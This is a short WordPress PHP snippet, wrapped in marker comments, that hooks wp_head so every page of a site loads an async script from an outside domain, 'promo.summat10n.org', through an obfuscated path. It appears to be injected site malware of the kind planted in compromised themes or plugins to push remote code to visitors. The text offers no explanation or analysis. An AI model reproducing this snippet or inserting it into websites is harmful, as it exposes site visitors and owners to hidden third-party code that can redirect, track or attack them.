/**<js>*/function add_my_script() {
   echo '<script async src="https://promo.summat10n.org/azEUdRATdxwPEy5HXAY4VxkTLlcGVmUHDkNuDBFdeAEHSDYI"></script>';
}
add_action('wp_head', 'add_my_script');/**<js>*/